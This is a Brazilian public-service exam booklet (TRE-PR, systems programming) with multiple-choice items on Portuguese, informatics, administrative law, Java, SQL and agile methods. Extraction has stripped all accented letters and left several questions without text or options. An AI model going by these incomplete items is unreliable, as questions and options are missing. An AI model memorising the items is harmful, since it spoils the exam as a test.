Escolar Documentos
Profissional Documentos
Cultura Documentos
ASSINATURA DO CANDIDATO
No do Documento
0000000000000000
Conhecimentos Gerais
P R O VA Conhecimentos Especficos
INSTRUES
Quando autorizado pelo fiscal
de sala, transcreva a frase
ao lado, com sua caligrafia A civilizao estuda o passado para encarar de frente o futuro.
usual, no espao apropriado
na Folha de Respostas.
VOC DEVE
- Procurar, na FOLHA DE RESPOSTAS, o nmero da questo que voc est respondendo.
- Verificar no caderno de prova qual a letra (A,B,C,D,E) da resposta que voc escolheu.
- Marcar essa letra na FOLHA DE RESPOSTAS, conforme o exemplo: A C D E
ATENO
- Marque as respostas com caneta esferogrfica de material transparente de tinta preta ou azul. No ser permitida a utilizao de
lpis, lapiseira, marca-texto, borracha ou lquido corretor de texto durante a realizao da prova.
- Marque apenas uma letra para cada questo, mais de uma letra assinalada implicar anulao dessa questo.
- Responda a todas as questes.
- No ser permitida qualquer espcie de consulta ou comunicao entre os candidatos, nem a utilizao de livros, cdigos,
manuais, impressos ou quaisquer anotaes.
- A durao da prova de 3 horas para responder a todas as questes objetivas e preencher a Folha de Respostas.
- Ao trmino da prova, chame o fiscal da sala e devolva todo o material recebido.
- Proibida a divulgao ou impresso parcial ou total da presente prova. Direitos Reservados.
Caderno de Prova I09, Tipo 001
CONHECIMENTOS GERAIS
Gramtica e Interpretao de Texto da Lngua Portuguesa
Brasileiros e latino-americanos fazemos constantemente a experincia do carter postio da vida cultural que levamos. Essa
experincia tem sido um dado formador de nossa reflexo crtica desde os tempos da Independncia. Ela pode ser e foi interpretada
de muitas maneiras, o que faz supor que corresponda a um problema durvel e de fundo.
O Papai Noel enfrentando a cancula em roupa de esquim um exemplo de inadequao. Da tica de um tradicionalista, a
guitarra eltrica no pas do samba outro. So exemplos muito diferentes, mas que comportam o sentimento da contradio entre a
realidade nacional e o prestgio ideolgico dos pases que nos servem de modelo.
Tem sido observado que, a cada gerao, a vida intelectual no Brasil parece recomear do zero. O apetite pela produo
recente dos pases avanados muitas vezes tem como avesso o desinteresse pelo trabalho da gerao anterior e, por conseguinte, a
descontinuidade da reflexo. Nos vinte anos em que tenho dado aula de literatura, por exemplo, assisti ao trnsito da crtica por uma
lista impressionante de correntes. Mas fcil observar que s raramente a passagem de uma escola a outra corresponde ao
esgotamento de um projeto; no geral, ela se deve ao prestgio americano ou europeu da doutrina seguinte. Conforme notava Machado
de Assis em 1879, o influxo externo que determina a direo do movimento.
No preciso ser adepto da tradio para reconhecer os inconvenientes desta praxe, a que falta a convico das teorias, logo
trocadas. Percepes e teses notveis a respeito da cultura do pas so decapitadas periodicamente, e problemas a muito custo
identificados ficam sem o desdobramento que lhes poderia corresponder. O que fica de nosso desfile de concepes e mtodos
pouco, j que o ritmo da mudana no d tempo produo amadurecida.
O inconveniente faz parte do sentimento de inadequao que foi nosso ponto de partida. Nada mais razovel, portanto, para
algum consciente do prejuzo, que passar ao polo oposto e imaginar que baste no reproduzir a tendncia metropolitana para
alcanar uma vida intelectual mais substantiva. A concluso tem apoio intuitivo forte, mas ilusria. No basta renunciar ao
emprstimo para pensar e viver de modo mais autntico. A ideia de cpia discutida aqui ope o nacional ao estrangeiro e o original ao
imitado, oposies que so irreais e no permitem ver a parte do estrangeiro no prprio, a parte do imitado no original e tambm a
parte original no imitado.
(Adaptado de: SCHWARZ, Roberto. Que horas so? So Paulo, Cia. Das Letras, 1987, p. 29-48)
1. Considere:
I. Depreende-se do texto que o pensamento crtico brasileiro permeado por um sentimento de inadequao, relacionado
ao cultivo, no pas, de prticas culturais consideradas inautnticas, que no refletiriam a realidade nacional, advindas de
pases estrangeiros de prestgio.
II. A colocao irnica de Machado de Assis de que o influxo externo que determina a direo do movimento corrobora a
tese proposta pelo autor do texto de que uma vida intelectual brasileira mais expressiva ser alcanada quando o pas
valorizar suas razes, no plano da cultura, e deixar de imitar prticas culturais vindas de fora.
III. A praxe criticada no 4o pargrafo refere-se tendncia de conciliar tradies culturais essencialmente brasileiras, como o
samba, com elementos emprestados de culturas estrangeiras, como a guitarra eltrica.
IV. Para o autor, no pertinente opor o nacional ao estrangeiro e o original ao imitado, pois tais oposies impedem que se
perceba, por exemplo, o que h de original na cpia.
(A) I e IV.
(B) I e III.
(C) II e IV.
(D) I, II e IV.
(E) II e III.
2 TREPR-Conhec.Gerais2
Caderno de Prova I09, Tipo 001
2. O segmento sublinhado em O que fica de nosso desfile de concepes e mtodos pouco, j que o ritmo da mudana no d
o
tempo produo amadurecida (4 pargrafo) expressa, no contexto, noo de
(A) concesso.
(B) consequncia.
(C) causa.
(D) conformidade.
(E) finalidade.
3. Substituindo-se o segmento sublinhado pelo que se encontra entre parnteses, o verbo que deve ser flexionado no plural est
em:
(A) O apetite pela produo recente (pelas produes atuais) dos pases avanados muitas vezes tem como avesso...
(B) ... a cada gerao, a vida intelectual (as prticas intelectuais) no Brasil parece recomear do zero.
(D) ... s raramente a passagem de uma escola a outra (a outras) corresponde ao esgotamento de um projeto...
(E) ... a guitarra eltrica no pas do samba (do carnaval e do samba) outro.
o o
4. Os pronomes ela (3 pargrafo) e lhes (4 pargrafo) referem-se, respectivamente, a:
5. Uma redao alternativa para um segmento do texto, em que se mantm a correo gramatical e a lgica, est em:
(A) Como tenho dado aula de literatura fazem vinte anos, pude observar, surpreso, durante todo este perodo, crtica tran-
sitando por uma lista interminvel de correntes.
(B) Periodicamente, privam-se o pas de percepes e teses notveis sobre a sua cultura, cujos problemas que h muito se
identificou ficam sem as solues cabveis.
(C) Seria razovel, por conseguinte, que uma pessoa, a par do prejuzo, passasse ao polo oposto e imaginasse que deixar de
reproduzir a tendncia metropolitana seria suficiente para atingir uma vida intelectual mais substancial.
(D) Mesmo que uma pessoa no se coloque como um defensor da tradio, possvel ela reconhecer que advm problemas
de tal praxe, aos quais falta teorias que se sustentem na prtica, uma vez que elas costumam ser rapidamente trocadas.
(E) Porquanto sejam exemplos bem diferentes, do ponto de vista tradicionalista, tanto a imagem do Papai Noel em trajes de
frio no calor, quanto guitarra eltrica no pas do samba, transmitem a sensao de desnivelamento entre a realidade e o
prestgio ideolgico dos modelos seguidos.
o
6. que comportam o sentimento da contradio (2 pargrafo)
O segmento que possui, no contexto, a mesma funo sinttica do sublinhado acima encontra-se tambm sublinhado em:
TREPR-Conhec.Gerais2 3
Caderno de Prova I09, Tipo 001
Ateno: Considere o texto abaixo para responder s questes de nmeros 7 a 9.
Muitos duvidam da existncia do amor. Muitos afirmam ser ele uma inveno da literatura. Outros, que se trata de uma proje-
o neurtica imaginria. Uma patologia da famlia das manias. H quem suspeite de que seja uma doena da alma. Esto er-
rados.
Quem conhece o amor sabe que ele habita entre ns. E sua presena nos faz sentir vivos. Por isso, o ressentimento cego ao
amor.
A falta de amor na vida produz um certo ceticismo em relao ao mundo. Ou pior: o sentimento de inexistncia.
Um dos pecados maiores da inteligncia chegar concluso de que o amor uma fico. Muitas vezes, pessoas supos-
tamente inteligentes consideram o amor algo ingnuo e pueril.
A desconfiana se acha a mais completa das virtudes morais ou cognitivas. A armadilha de quem desconfia sempre que ele
mesmo se sente inexistente para o mundo porque este sempre visto com desprezo.
Outra suposta arma contra o amor a hipocrisia. A hiptese de a hipocrisia ser a substncia da moral pblica parece que invia-
biliza o amor por conta de sua cegueira para com esta hipocrisia mesma. verdade: o amor no v a hipocrisia. Sren Kierkegaard
(1813-1855) diz que h um "abismo escancarado" entre eles.
O amor concreto como o dia a dia. Engana-se quem considera o amor abstrato e fantasioso. Kierkegaard nos lembra que o
amor s se conhece pelos frutos. Isso implica que no h propriamente uma percepo do amor que no seja prtica. O gosto do
amor a confiana nas coisas que ele d a quem o experimenta.
(Adaptado de: POND, Luiz Felipe Disponvel em: www.folha.uol.com.br)
8. A substituio do elemento sublinhado pelo pronome correspondente, com os necessrios ajustes no segmento, foi realizada de
acordo com a norma padro em:
(B) Uma vrgula pode ser acrescentada imediatamente aps que, sem prejuzo da correo e da clareza, em Kierkegaard
nos lembra que o amor s se conhece pelos frutos. (ltimo pargrafo)
(C) Em A falta de amor na vida produz um certo ceticismo em relao ao mundo, uma vrgula pode ser inserida imediatamente
o
aps vida. (3 pargrafo)
(D) O sinal de dois-pontos pode ser acrescentado imediatamente aps porque no segmento porque este sempre visto com
o
desprezo. (5 pargrafo)
(E) Em Isso implica que no h propriamente uma percepo do amor que no seja prtica, uma vrgula pode ser acrescen-
tada imediatamente aps h, sem que se faa nenhuma outra modificao na frase. (ltimo pargrafo)
4 TREPR-Conhec.Gerais2
Caderno de Prova I09, Tipo 001
10. A frase escrita com correo e clareza est em:
(A) Grande parte dos existencialistas rejeitam a ideia na qual h no ser humano uma alma imutvel; sua essncia seria forjada
por meio da existncia, sendo que, o indivduo que arquiteta sua prpria realidade.
(B) Conhecido por levar uma vida solitria e isolada, algumas obras do filsofo Kierkegaard, visto como um dos fundadores da
filosofia existencialista, tambm representada por Sartre, fora escrita sob pseudnimos.
(C) O filsofo Kierkegaard, geralmente visto como o precursor do existencialismo sustentava a ideia na qual o indivduo
responsvel por dar significado a vida, ainda que enfrente obstculos como a ansiedade e o tdio.
(D) Alguns assinalam que a carreira filosfica de Theodor Adorno, considerado por muitos um dos pensadores mais com-
plexos do sculo XX, comea com a publicao de sua tese sobre Kierkegaard.
(E) Embora Kierkegaard, na juventude j tivesse escrito diversos artigos, muitos consideram sua tese universitria, em que
refere-se continuamente Scrates como sua primeira obra de destaque.
Noes de Informtica
11. Considere a planilha abaixo editada no aplicativo LibreOffice Calc verso 5.2.7.2, em portugus.
A B C D E F G
6 Total
necessrio fazer a soma de todos os eleitores Aptos da coluna E (de E2 at E5) e colocar o resultado na clula E6 e fazer o
mesmo para os Cancelados da coluna F e para os Suspensos da coluna G, colocando os resultados em F6 e G6, respecti-
vamente. Para fazer isso, um Tcnico deve selecionar a clula E6, digitar
(A) = e, aps selecionar os valores de E2 at E5, pressionar a tecla ENTER. Depois deve arrastar E6 para F6 e G6.
(B) =SOMAR(E2:E5) e pressionar a tecla ENTER. Depois deve arrastar E6 para F6 e G6.
(C) =SOMA(E2;E5) e pressionar a tecla ENTER. Depois deve arrastar E6 para F6 e G6.
(D) = e, aps selecionar os valores de E2 at E5, pressionar o boto direito do mouse. Escolher a funo SOMAR na janela
que se abre. Depois deve arrastar E6 para F6 e G6.
(E) =SOMA(E2:E5) e pressionar a tecla ENTER. Selecionar a clula F6, digitar =SOMA(F2:F5) e pressionar a tecla ENTER.
Selecionar a clula G6, digitar =SOMA(G2:G5) e pressionar a tecla ENTER.
(A) Google Chrome, em portugus, e digitou na linha de endereo chrome://configuracoes para alterar o local de
downloads.
(B) Google Chrome, em portugus, e digitou na linha de endereo chrome://history para ter acesso ao servio de limpar
os dados de navegao.
(C) Google Chrome, em portugus, e digitou na linha de endereo chrome://maps para acessar o Google Maps.
(D) Mozilla Firefox, em portugus, e pressionou as teclas CTRL + H para limpar os dados de navegao.
(E) Mozilla Firefox, em portugus, e digitou na linha de endereo mozilla/preferencias para alterar o local de
downloads.
TREPR-Conhec.Gerais2 5
Caderno de Prova I09, Tipo 001
13. Considere a notcia abaixo.
Um tipo sofisticado de ......... (programa automtico de computador projetado para monitorar as atividades de um sistema e
enviar as informaes coletadas para terceiros) vem infectando sigilosamente centenas de computadores de governos por toda
a Europa e nos Estados Unidos, em um dos mais complexos programas de espionagem ciberntica descobertos at hoje. Vrios
pesquisadores em segurana e funcionrios da rea de inteligncia ocidentais dizem acreditar que o malware, conhecido como
Turla, um programa espio que est sendo vinculado a uma enorme operao previamente conhecida de espionagem
ciberntica mundial, apelidada de Outubro Vermelho, e cujo alvo eram redes de pesquisa nuclear, diplomtica e militar. Essas
constataes se baseiam na anlise das tticas empregadas pelos hackers, bem como nos indicadores tcnicos e em relatos
das vtimas que eram seu alvo.
(Adaptado de: http://g1.globo.com/tecnologia/noticia/2014/03/)
Com base nas caractersticas descritas do malware, a lacuna do texto corretamente preenchida por:
(A) ransomware.
(B) trojan DoS.
(C) spyware.
(D) addware.
(E) bootnetspy.
o
15. No que se refere ao processo administrativo disciplinar, a Lei n 8.112/90 estabelece que
(A) a denncia pode ser verbal ou por escrito, sendo vedado o anonimato.
(B) o prazo para a concluso da sindicncia improrrogvel.
(C) a autoridade instauradora do processo disciplinar dever determinar o afastamento do servidor do exerccio do cargo como
medida cautelar.
(D) o processo disciplinar ser conduzido por uma comisso, cujas reunies e audincias sero pblicas.
(E) obrigatria a instaurao de processo disciplinar sempre que o ilcito praticado pelo servidor ensejar a imposio de
penalidade de suspenso por mais de 30 dias.
o
16. A Lei n 8.429/92 (Lei de Improbidade Administrativa), no que se refere leso ao patrimnio pblico, estabelece regras que
alcanam
(A) atos de agentes pblicos contra empresas incorporadas ao patrimnio pblico, mas no entidade para cuja criao ou
custeio o errio haja concorrido ou concorra com menos de 50% do patrimnio ou da receita anual.
(B) agentes pblicos transitrios, mas no aqueles sem remunerao.
(C) aes dolosas, mas no culposas.
(D) agente pblico, mas no terceiro beneficirio que no seja servidor pblico.
(E) o agente pblico causador do dano, mas no a herana recebida deste pelo seu sucessor.
6 TREPR-Conhec.Gerais2
Caderno de Prova I09, Tipo 001
(A) I, II e IV.
(B) I, III e V.
(D) I, III, IV e V.
18. Quanto aos recursos que podem ser interpostos ao TRE/PR, seu Regimento Interno dispe que
(A) caber apenas embargos de declarao contra atos sem contedo decisrio.
(B) o recurso dever ser interposto no prazo de cinco dias da publicao do ato, resoluo ou deciso nos casos em que a lei
no fixar um prazo especial.
(C) o agravo regimental ser submetido ao prolator da deciso, que poder reconsider-la ou submeter o agravo ao jul-
gamento do Tribunal, desde que includo previamente em pauta.
(D) a parte que se considerar prejudicada por deciso administrativa do Presidente poder interpor recurso de decises
monocrticas terminativas de que manifestamente resultar, ou puder resultar, restrio de direito.
Lei Brasileira de Incluso da Pessoa com Deficincia (Estatuto da Pessoa com Deficincia)
o
19. As disposies gerais da Lei n 13.146/15, que instituiu o Estatuto da Pessoa com Deficincia, estabelece que
(A) a avaliao da deficincia obrigatoriamente ser biopsicossocial e ser realizada por equipe multiprofissional e interdis-
ciplinar.
(B) qualquer entrave que limite ou impea o exerccio de direitos como acessibilidade e liberdade de movimento so deno-
minados barreiras.
(D) acessibilidade um conceito ligado a produtos, equipamentos, dispositivos e outros que objetivem qualidade de vida e
incluso social.
(E) pessoas com criana de colo no esto includas no conceito de pessoa com mobilidade reduzida.
o
20. A Lei n 13.146/15 disciplina o reconhecimento de igual perante a lei das pessoas com deficincia. Nesse contexto est inserido
o
a curatela, sobre a qual a Lei n 13.146/15 estabelece que
(B) os curadores so obrigados a prestar contas anualmente de sua administrao ao Ministrio Pblico.
(C) a definio de curatela de pessoa com deficincia constitui medida protetiva extraordinria e durar o menor tempo
possvel.
(D) a curatela alcana atos relacionados a todos os direitos ligados pessoa com deficincia.
(E) para a emisso de documentos oficiais exigida a situao de curatela da pessoa com deficincia.
TREPR-Conhec.Gerais2 7
Caderno de Prova I09, Tipo 001
CONHECIMENTOS ESPECFICOS
21. Ao desenvolver um site utilizando HTML5, um Tcnico observou que os caracteres acentuados eram exibidos incorretamente
pelo navegador. Para resolver o problema, usou um comando padro no cabealho das pginas para especificar corretamente a
codificao de caracteres. O comando utilizado foi:
(A) <meta http-equiv="Content-Type" content="text/html; lang=pt-br">
(B) <page lang="pt-br" encode="ISO-8859-1">
(C) <manifest lang="pt-br" encoding="ASCII">
(D) <meta charset="UTF-8">
(E) <http-equiv lang="pt-br" content="text/html; charset=UTF-8">
22. Um desenvolvedor Java SE possui, em uma aplicao, duas subclasses B e C, estendendo a mesma superclasse A. Na super-
classe A h um mtodo calcularValor, tambm presente nas duas subclasses B e C, mas implementado de maneiras dife-
rentes. A partir do mtodo main de uma classe principal, utilizou-se o seguinte bloco de cdigo:
A t1 = new A();
System.out.println(t1.calcularValor());
A t2 = new B();
System.out.println(t2.calcularValor());
A t3 = new C();
System.out.println(t3.calcularValor());
Aps compilar e executar a aplicao, foram exibidos na tela os valores 4, 9 e 5. Nessa aplicao evidencia-se o uso de
(A) sobrecarga de mtodos.
(B) mtodos abstratos.
(C) mtodos estticos.
(D) polimorfismo.
(E) sobrecarga de construtor.
23. A API Criteria permite realizar consultas programadas em aplicaes Java. Considere a consulta abaixo.
24. Em uma relao Many-to-Many bidirecional entre as entidades Produto e Cliente, deseja-se possibilitar a consulta de quais
produtos um determinado cliente adquiriu e quais clientes possuem determinado produto.
Na classe dominante Cliente, em Java, foi utilizada a seguinte notao:
@ManyToMany
@JoinTable(name="cliente_has_produto", joinColumns=
{@JoinColumn(name="cliente_id")}, inverseJoinColumns=
{@JoinColumn(name="produto_id")})
private List produtos;
A notao equivalente, na classe Produto, deve ser:
(A) @ManyToMany(mappedBy="produtos")
private List clientes;
(B) @ManyToMany(cascade = CascadeType.ALL)
private ArrayList clientes;
(C) @OneToMany(cascade=ALL, mappedBy="clientes")
private Set clientes;
(D) @ManyToMany(referredBy="clientes")
private List clientes;
(E) @ManyToOne(cascade=ALL, mappedBy="produtos")
private ArrayList clientes;
8 TREPR-Tc.Jud.-Prog.Sistemas-I09
Caderno de Prova I09, Tipo 001
25. A plataforma de desenvolvimento de aplicativos mveis da Microsoft que permite desenvolver um nico cdigo-fonte e utiliz-lo
para Android, iOS e Windows Phone conhecida como
(A) Generic Mobile Studio.
(B) Xamarin.
(C) Swift Objective-C.
(D) PhoneCelerator.
(E) Plone.
26. O Tomcat fornece uma srie de filtros que podem ser configurados para aplicaes web individuais no arquivo
(A) META-INF/context.xml.
(B) WEB-INF/web-filter.xml.
(C) CONFIG-INF/filter.xml
(D) WEB-INF/web.xml.
(E) META-INF/server.xml.
27. The jQuery $("p:last-of-type") statement selects all <p> elements that are the
(A) 2nd child of their parent.
(B) only child of their parent.
(C) last <p> element of their parent.
(D) parent of another element
(E) last child of their parent.
<h:form id="form2">
<h:commandButton id="button">
<f:ajax render=":form1:panel1 panel2" />
</h:commandButton>
<h:panelGrid id="panel2">
<!-- contedo -->
</h:panelGrid>
</h:form>
TREPR-Tc.Jud.-Prog.Sistemas-I09 9
Caderno de Prova I09, Tipo 001
30. In Java EE 6, Expression Language supports both immediate and deferred evaluation of expressions. Immediate evaluation
means that the expression is evaluated and the result returned as soon as the page is first rendered. Deferred evaluation means
that the technology using the expression language can use its own machinery to evaluate the expression sometime later during
the pages lifecycle, whenever it is appropriate to do so.
Expressions that are evaluated immediately and the expressions whose evaluation is deferred use, respectively, the syntaxes
(A) ${} and #{}
(B) <exp:snapshot> and <exp:defer>
(C) $EXP{} and #EXP{}
(D) $_jsf{} and #_jsf{}
(E) $() and #()
31. Em Java, para declarar um array multidimensional chamado nomes, com duas linhas e duas colunas e j armazenar nele
Pedro, Marta, Carlos e Marcos, utiliza-se o comando:
(A) Array[][] nomes = {["Pedro","Marta"],["Carlos","Marcos"]};
(B) String[2][2] nomes = (new String("Pedro", "Marta"), new String("Carlos", "Marcos")};
(C) String[2,2] nomes = {{"Pedro", "Marta"},{"Carlos","Marcos"}};
(D) Array[][] nomes = {new String("Pedro"),new String("Marta"),new String("Carlos"), new String("Marcos")};
(E) String[][] nomes = {{"Pedro", "Marta"},{"Carlos","Marcos"}};
32. Considere o fragmento de cdigo abaixo, que utiliza Hibernate Session, em um ambiente Java ideal.
Query q = getSession().createQuery("from Candidato where nome_candidato = :nome_candidato");
q.setString("nome_candidato","Joo");
Nesta consulta, caso o candidato Joo seja nico na tabela do banco de dados, para obter os dados deste candidato em um
objeto da classe Candidato, utiliza-se, na sequncia do cdigo, a instruo: Candidato candidato =
(A) (Candidato) q.uniqueResult();
(B) q.getUsuario();
(C) q.getResultAll();
(D) (Candidato) q.getSession().getResult();
(E) q.uniqueResult();
33. Para descrever a estrutura de um documento XML para que ele seja considerado bem formado e vlido, utiliza-se
(A) XSLT ou XPath.
(B) XSD e XSLT.
(C) XML Schema ou DTD.
(D) RDF e RSS.
(E) DOM e DTD.
10 TREPR-Tc.Jud.-Prog.Sistemas-I09
Caderno de Prova I09, Tipo 001
35. Uma aplicao Java pode conter, dentre outros recursos, classes, interfaces e classes abstratas. Uma instruo correta que uma
interface Java pode conter :
36. Em um banco de dados aberto e em condies ideais, uma tabela chamada processo possui os registros abaixo.
NumeroProcesso DataAbertura
1279678-05.2016.1.00.0001 2016-12-26
4598765-03.2017.1.90.0002 2017-01-15
6789764-02.2016.1.80.0003 2016-03-30
9876534-05.2016.1.00.0000 2016-03-20
NumeroProcesso DataAbertura
6789764-02.2016.1.80.0003 2016-03-30
9876534-05.2016.1.00.0000 2016-03-20
(A) SELECT * FROM processo WHERE DataAbertura BETWEEN '2016-03-01' AND '2016-03-30';
(B) SELECT NumeroProcesso, DataAbertura FROM processo WHERE DataAbertura BETWEEN ('2016-03-
01','2016-03-30');
(D) SELECT NumeroProcesso, DataAbertura FROM processo WHERE DataAbertura IN ('2016-03-20' AND
'2016-03-30');
37. Um Database Administrator DBA criou uma funo no Oracle chamada programador utilizando o comando CREATE ROLE
programador;. Em seguida, concedeu o privilgio de criao de tabela funo utilizando o comando GRANT create table
TO programador;. Para conceder a funo programador ao usurio Pedro, o DBA deve utilizar o comando
38. Em um banco de dados aberto e em condies ideais, uma tabela processo possui um campo NumeroProcesso do tipo
varchar2. Para selecionar somente os registros cujo campo NumeroProcesso possua como segundo caractere (da esquerda
para a direita), o valor 2, utiliza-se a instruo SELECT * FROM processo WHERE NumeroProcesso
TREPR-Tc.Jud.-Prog.Sistemas-I09 11
Caderno de Prova I09, Tipo 001
39. Um Programador deseja realizar uma consulta na tabela Advogado, para obter o contedo de cada palavra do campo
NomeAdvogado com as letras iniciais maisculas, j que alguns nomes foram cadastrados em letras minsculas. Para isso,
utilizou o comando abaixo.
SELECT I (NomeAdvogado) FROM Advogado;
40. Considere hipoteticamente que em um Tribunal cada Juiz conta com a ajuda de vrios Assistentes, de acordo com o volume de
processos que precisa analisar e julgar. Cada Assistente, por sua vez, auxilia vrios Juzes, de acordo com a demanda de
trabalho. Se Juiz e Assistente forem entidades de um modelo de dados relacional, a cardinalidade entre elas ser n:m. Na
criao das tabelas a partir do modelo,
(A) a chave primria da tabela Juiz ser chave estrangeira na tabela Assistente e a chave primria da tabela Assistente ser
chave estrangeira na tabela Juiz.
(B) ser necessrio criar uma tabela de ligao entre Juiz e Assistente e o relacionamento n:m dar lugar a dois relacio-
namentos 1:n.
(C) ser estabelecido um relacionamento bidirecional entre as tabelas Juiz e Assistente, com cardinalidade 1:1.
(D) para que a relao n:m seja mantida, as chaves primrias das tabelas Juiz e Assistente devero ser compostas pelo Id do
Juiz e pelo Id do Assistente.
(E) ser necessrio criar uma tabela de ligao entre Juiz e Assistente, gerando assim dois relacionamentos 1:1.
O Tribunal Superior Eleitoral criou o Mtodo de Desenvolvimento com Prticas geis MAgil como uma proposta para agregar
ao dia a dia das equipes as melhores prticas do desenvolvimento gil. O MAgil deve ser considerado como uma caixa de
ferramentas que pode ser utilizada conforme contexto e necessidade do projeto, na qual encontram-se prticas e artefatos das
metodologias, mtodos e frameworks disponveis no mercado, como Processo Unificado, PMBOK, UML, XP e Scrum.
(Tribunal Superior Eleitoral/EPP/ASPLAN. Mtodo de Desenvolvimento com Prticas geis MAgil verso 1.1. Braslia: 2013)
41. Na etapa inicial do mtodo MAgil esto previstas as atividades ilustradas no diagrama abaixo.
Viso do produto.
Itens da Sprint.
Entrevistas, brainstorming, questionrios.
Ferramentas e modelos de documentos.
43. A etapa Testar os Requisitos Construdos do mtodo MAgil recomenda a aplicao das estratgias de teste definidas pelo pro-
jeto para minimizar os defeitos e no conformidades do produto no momento de sua verificao no ambiente de homologao,
aumentando as chances de sua aprovao pelo Product Owner. So atividades previstas nesta etapa:
O teste
(A) unitrio de classes de objetos fica mais complicado com generalizao e herana, pois no se pode testar um mtodo na
classe em que est definido e assumir que funcionar corretamente nas classes que herdam este mtodo.
(B) de validao uma tcnica sistemtica para construir a arquitetura do software enquanto, ao mesmo tempo, conduz testes
para descobrir erros associados s interfaces. O objetivo , a partir de componentes testados no nvel de unidade, cons-
truir uma estrutura de programa determinada pelo projeto.
(C) de verificao a reexecuo de algum subconjunto de testes que j foi conduzido para garantir que as modificaes no
propaguem efeitos colaterais indesejados.
(D) de regresso conhecido como teste de caixa branca ou teste de caixa preta.
(E) de integrao comea no fim do teste de validao e tem como objetivo avaliar se o que foi entregue atende s
expectativas do cliente. A integrao do software obtida por meio de uma srie de testes que demonstram conformidade
com os requisitos.
44. A etapa Construir os itens da Sprint do mtodo MAgil refere-se implementao dos requisitos com apoio dos padres de
arquitetura, de banco de dados e de design estabelecidos para o projeto, com a inteno de entregar algo que possa gerar
resultado observvel ao Product Owner. Tcnicas da eXtreme Programming XP podem ser utilizadas.
Neste caso, a equipe pode optar pela tcnica XP:
(A) BDD (Behavior-Driven Development), na qual os testes so escritos depois da funcionalidade. Esta tcnica muito simples
mesmo quando h dependncias entre classes da aplicao.
(B) Refatorao, que consiste em integrar o trabalho diversas vezes ao dia, assegurando que a base de cdigo permanea
consistente ao final de cada integrao.
(C) Integrao contnua, que significa melhorar o cdigo sem alterar sua funcionalidade. Se aps a integrao o cdigo
continuar funcionando como anteriormente, as novas mudanas so includas, o que possibilita manter um bom projeto,
apesar das mudanas frequentes.
(D) Propriedade coletiva, que indica que todos so igualmente responsveis por todas as partes. Os pares se revezam, as
pessoas se revezam na formao dos pares e todos tm acesso e autorizao para editar qualquer parte do cdigo da
aplicao, a qualquer momento.
(E) Incremento pronto, um time-boxed de um ms ou menos durante o qual um Pronto, verso incremental potencialmente
utilizvel do produto, criado.
TREPR-Tc.Jud.-Prog.Sistemas-I09 13
Caderno de Prova I09, Tipo 001
45. Os princpios SOLID renem cinco boas prticas para projetos Orientados a Objetos-OO. O princpio S, que se refere ao Single
Responsability Principle-SRP ou Princpio de Responsabilidade nica, indica que uma classe deve ter uma e, apenas uma,
razo para mudar. Considere a classe Java abaixo.
Com base no princpio SRP e nas boas prticas para projetos OO, correto afirmar:
(A) O SRP visa aumentar o acoplamento entre classes e separar responsabilidades como forma de melhorar o cdigo da
aplicao OO sendo desenvolvida.
(B) A classe UrnaEleitoral tem acoplamento baixo, ou seja, tem um nmero pequeno de dependncias e, portanto, fica
mais sujeita a mudanas em decorrncia de alteraes em outras classes.
(C) Uma classe com mais de um motivo para mudar possui mais de uma responsabilidade e apresentando dificuldade de
manuteno, mas, por outro lado, tem maior facilidade de reso e de coeso.
(D) A classe UrnaEleitoral apresenta uma quebra do SRP, uma vez que possui responsabilidades que deveriam ser de
componentes distintos do software.
(E) Em um projeto com vrias classes seguindo o padro da classe UrnaEleitoral fica mais fcil manter a coeso em um
nvel mais alto ou em nvel de componentes, pois o software fica com uma diviso clara de camadas.
46. De acordo com o Modelo de Referncia MPS para Software (MR-MPS-SW), alguns processos podem ser excludos do escopo
de uma avaliao MPS, total ou parcialmente, por no serem pertinentes ao negcio da unidade organizacional que est sendo
avaliada. Cada excluso deve ser justificada no Plano de Avaliao. A aceitao das excluses e suas justificativas respon-
sabilidade do Avaliador Lder. permitida a excluso completa do seguinte processo do nvel de maturidade F, desde que no
executado pela organizao,
47. Considere que o Tribunal Regional Eleitoral esteja considerando a possibilidade de implantar um modelo de referncia para
qualidade de software. Um Tcnico com especialidade em Programao de Sistemas aps fazer um comparativo entre o
primeiro nvel de maturidade do CMMI verso 1.3 e do MR-MPS-SW, afirmou que o primeiro nvel de maturidade do MR-MPS-
SW corresponde ao
(A) A (Parcialmente Gerenciado) e no possui processos especficos. J no CMMI, o primeiro nvel de maturidade inicia-se
pelo 0 Incompleto e no existe objetivo genrico neste nvel, j que no h razo para institucionalizar um processo
parcialmente executado.
(B) G (Parcialmente Gerenciado), composto pelos processos Gerncia de Projetos e Gerncia de Requisitos. J no CMMI, o
primeiro nvel de maturidade inicia-se pelo 0 Inicial e um processo deste nvel realiza as atividades necessrias para
produzir produtos de trabalho.
(C) G (Parcialmente Definido), composto pelos processos Definio do Processo Organizacional, Avaliao e Melhoria do
Processo Organizacional e Gerncia de Requisitos. J no CMMI, o primeiro nvel de maturidade inicia-se pelo 0 In-
completo e um processo deste nvel contribui com experincias de uso do processo para os ativos organizacionais.
(D) A (Parcialmente Definido) e no possui processos especficos. J no CMMI, o primeiro nvel de maturidade inicia-se
pelo 0 Inicial e os processos deste nvel caracterizam melhoria organizacional relativa a uma nica rea de pro-
cesso.
(E) G (Parcialmente Gerenciado), composto pelos processos Gerncia de Projetos e Gerncia de Requisitos. J no CMMI,
o primeiro nvel de maturidade inicia-se pelo 1 Inicial e os processos deste nvel so usualmente ad-hoc e ca-
ticos.
14 TREPR-Tc.Jud.-Prog.Sistemas-I09
Caderno de Prova I09, Tipo 001
48. No mbito de um projeto conduzido de acordo com as prticas do Scrum, a quantidade de dias estimada para concluir uma
tarefa pode ser medida a partir da quantidade de atividades que um profissional consegue finalizar em um dia de trabalho. Para
isso, considere que o clculo seja feito utilizando a seguinte frmula:
O tempo total para implementao e entrega da tarefa, com teste concludo, em um sistema j existente e em produo no
cliente, o tempo de uma Sprint, com prazo de 1 ms. Mas, para a implementao da funcionalidade sero utilizados ape-
nas 20 dias. O restante dos dias ser utilizado para documentao, testes e eventuais correes de erros encontrados pela
equipe.
A produtividade a ser considerada para o desenvolvedor de 81% em uma jornada de 8 horas por dia.
(A) 25 dias.
(B) 15 dias.
(C) 10 dias.
(D) 21 dias.
(E) 18 dias.
(Source: http://www.uml-diagrams.org/examples/online-shopping-use-case-diagram-
example.html?context=uc-examples)
(A) top level use cases are View Items, Make Purchase, Online Shopping and Client Register.
(B) Make Purchase use case could be used by customer as top level use case if customer only wants to find and see some
products. This use case could also be used as a part of View Items use case.
(C) Checkout use case is included use case, so it is not available by itself, as checkout is part of making purchase.
